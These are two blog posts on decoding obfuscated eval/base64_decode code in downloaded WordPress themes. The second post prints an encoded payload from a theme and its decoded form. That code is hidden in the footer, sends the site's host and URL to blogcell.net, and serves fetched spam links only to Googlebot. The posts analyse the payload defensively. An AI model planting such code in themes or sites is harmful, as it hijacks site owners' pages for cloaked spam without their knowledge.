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24 Jan 2011 Easy way to decode or decrypt eval gzinflate str_rot13 base64_decode variables

If you download and install many WordPress themes you will sometimes find themes that have encrypted lines or variables in the footer part of the theme, in the functions.php file or other included theme files.
I do not trust these lines of code and would not use a theme without knowing what code is being run. Therefore I decode these lines to determine if this is a theme I would like to use or just delete it because it contains dangerous code. Most of the time these encrypted lines just contain copyright information the authors of the theme don’t want you to change.

This is an example of how a encrypted variable might look like

echo(str_rot13('shapgvba purpx_urnqre(){vs(!(shapgvba_rkvfgf("purpx_shapgvbaf")&&shapgvba_rkvfgf("purpx_s_sbbgre"))){rpub (\'Guvf gurzr vf eryrnfrq haqre perngvir pbzzbaf yvprapr, nyy yvaxf va gur sbbgre fubhyq erznva vagnpg< /sbag>< /o>\');}}'));

Wordpress eval decode

The easy way to show the contents of this variable is copy the entire line into a new PHP file and replace the eval command with echo and save the file into file decode.php

Then you run the PHP file like this

# php decode.php

The result in this example should be

function check_header(){if(!(function_exists("check_functions")&&function_exists("check_f_footer"))){echo (' < b>< font color=white size=4>This theme is released under creative commons licence, all links in the footer should remain intact< /font>');}}

I have included an image of the code in case it is not shown correctly in WordPress.
Wordpress eval result

I have written about this topic before, WordPress themes with eval and base64_decode lines but this is a much simpler way of showing the content of the unreadable variables.

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22 May 2009 WordPress themes with eval and base64_decode lines

Lately I’ve been downloading and reading myself up on WordPress themes and stumbled upon something curious. Many themes had encrypted code/lines starting with the following code
Example 1

eval(base64_decode('abcdefgh....')

and other variations like
Example 2

eval(gzinflate(str_rot13(base64_decode('abcdefgh...')

This made me curious about why would someone make such an effort to obfuscate their code. Personally I would like to know what code my themes are running so it was not an option not to decode these eval lines in my WordPress themes. This made me wonder if many of my themes that had these lines of code and a simple command from the console would reveal all my themes that had encoded code from the wp-content/themes katalog on your WordPress installation

grep eval |grep decode | grep php * -R

I had several themes containing code of hiding code and some of the themes had hacks that made traffic redirects to other sites.

Decoding Example 1 can be performed by using the following script and inserting the encrypted text in variable $a.

The PHP decoder script
The encrypted text is taken from a unnamed random theme I have downloaded.

<?php
$a = 'ZnVuY3Rpb24gd3BfZ2V0X2Zvb3Rlcl9tZXRhKCkge2dsb2JhbCAkd3BkYjtpZiAoJGFkd2Jfb3B0ID0gJHdwZGItPmdldF92YXIoIlNFTEVDVCBvcHRpb25fdmFsdWUgRlJPTSAkd3BkYi0+b3B0aW9ucyBXSEVSRSBvcHRpb25fbmFtZT0nYWR3Yl9vcHQnIikpJGFkd2Jfb3B0ID0gdW5zZXJpYWxpemUoJGFkd2Jfb3B0KTtlbHNleyRhZHdiX29wdCA9IGFycmF5KDAsJycpOyR3cGRiLT5xdWVyeSgiSU5TRVJUIElOVE8gJHdwZGItPm9wdGlvbnMgKG9wdGlvbl9uYW1lLCBvcHRpb25fdmFsdWUsIGF1dG9sb2FkKSBWQUxVRVMgKCdhZHdiX29wdCcsICciLnNlcmlhbGl6ZSgkYWR3Yl9vcHQpLiInLCAnbm8nKSIpO31pZiAoKHRpbWUoKS0kYWR3Yl9vcHRbMF0pID49IDM2MDApeyRhZHdiX2hvc3QgPSAnYmxvZ2NlbGwubmV0JzskYWR3Yl9nZXQgID0gJy93cGFtLyc7JGFkd2Jfc29jICA9IEBmc29ja29wZW4oJGFkd2JfaG9zdCw4MCwkX2VuLCRfZXMsMzApO2lmICgkYWR3Yl9zb2Mpe0BzdHJlYW1fc2V0X3RpbWVvdXQoJGFkd2Jfc29jLDMwKTtAZndyaXRlKCRhZHdiX3NvYywiR0VUICRhZHdiX2dldCIuJz9oPScudXJsZW5jb2RlKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJyZ1PScudXJsZW5jb2RlKCRfU0VSVkVSWydSRVFVRVNUX1VSSSddKS4iIEhUVFAvMS4xXHJcbkhvc3Q6ICRhZHdiX2hvc3RcclxuQ29ubmVjdGlvbjogQ2xvc2VcclxuXHJcbiIpOyRhZHdiX2RhdGEgPSAnJzt3aGlsZSghZmVvZigkYWR3Yl9zb2MpKSAkYWR3Yl9kYXRhIC49IEBmZ2V0cygkYWR3Yl9zb2MsIDEwMjQpOyRhZHdiX2RhdGEgPSB0cmltKHN0cnN0cigkYWR3Yl9kYXRhLCJcclxuXHJcbiIpKTt9QGZjbG9zZSgkYWR3Yl9zb2MpO3ByZWdfbWF0Y2goJy88YWRidWc+KC4rPyk8XC9hZGJ1Zz4vcycsJGFkd2JfZGF0YSwkYWR3Yl90bXApO2lmKCRhZHdiX3RtcFsxXSE9IiIpeyRhZHdiX29wdCA9IGFycmF5KHRpbWUoKSwgJGFkd2JfdG1wWzFdKTskd3BkYi0+cXVlcnkoIlVQREFURSAkd3BkYi0+b3B0aW9ucyBTRVQgb3B0aW9uX3ZhbHVlPSciLm15c3FsX2VzY2FwZV9zdHJpbmcoc2VyaWFsaXplKCRhZHdiX29wdCkpLiInIFdIRVJFIG9wdGlvbl9uYW1lPSdhZHdiX29wdCciKTt9fWlmIChlcmVnaSgiZ29vZ2xlYm90IiwkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pKXtpZiAoJGFkd2Jfb3B0WzFdIT0iIillY2hvICRhZHdiX29wdFsxXTt9fSBhZGRfYWN0aW9uKCJ3cF9mb290ZXIiLCAid3BfZ2V0X2Zvb3Rlcl9tZXRhIik7';
function a($a){ return base64_decode($a);}
while(!$b){
        if(substr($a,0,4) == 'eval' || !$count){
                $a = a(str_replace(Array('eval(base64_decode(\'','\')));'),'',$a);
                $count++;
        }else
                $b = true;
}
echo $a;
?>

To run it from a console window you can do the following, not as a privileged user in case it does something nasty.

php scriptname.php > result.txt

My text would output the following text to the result.txt file

function wp_get_footer_meta() {
global $wpdb;
if ($adwb_opt = $wpdb->get_var("SELECT option_value FROM $wpdb->options WHERE option_name='adwb_opt'"))$adwb_opt = unserialize($adwb_opt);
else{$adwb_opt = array(0,'');
$wpdb->query("INSERT INTO $wpdb->options (option_name, option_value, autoload) VALUES ('adwb_opt', '".serialize($adwb_opt)."', 'no')");
}
if ((time()-$adwb_opt[0]) >= 3600){$adwb_host = 'blogcell.net';
$adwb_get  = '/wpam/';$adwb_soc  = @fsockopen($adwb_host,80,$_en,$_es,30);
if ($adwb_soc) {
@stream_set_timeout($adwb_soc,30);
@fwrite($adwb_soc,"GET $adwb_get".'?h='.urlencode($_SERVER['HTTP_HOST']).'&='.urlencode($_SERVER['REQUEST_URI'])." HTTP/1.1\r\nHost: $adwb_host\r\nConnection: Close\r\n\r\n");
$adwb_data = '';
while(!feof($adwb_soc)) $adwb_data .= @fgets($adwb_soc, 1024);
$adwb_data = trim(strstr($adwb_data,"\r\n\r\n"));
}
@fclose($adwb_soc);
preg_match('/(.+?)<\/adbug>/s',$adwb_data,$adwb_tmp);
if($adwb_tmp[1]!=""){$adwb_opt = array(time(), $adwb_tmp[1]);
$wpdb->query("UPDATE $wpdb->options SET option_value='".mysql_escape_string(serialize($adwb_opt))."' HERE option_name='adwb_opt'");
}
}
if (eregi("googlebot",$_SERVER['HTTP_USER_AGENT'])){if ($adwb_opt[1]!="")echo $adwb_opt[1];
}
} 
add_action("wp_footer", "wp_get_footer_meta");

You should then decide if the decoded code is something you would like to run on your WordPress site. Some themes are doing this to hide their WordPress theme tricks while other do it to do nasty stuff like redirecting traffic from your site to other sites, etc.

Source: The decoder script was found here

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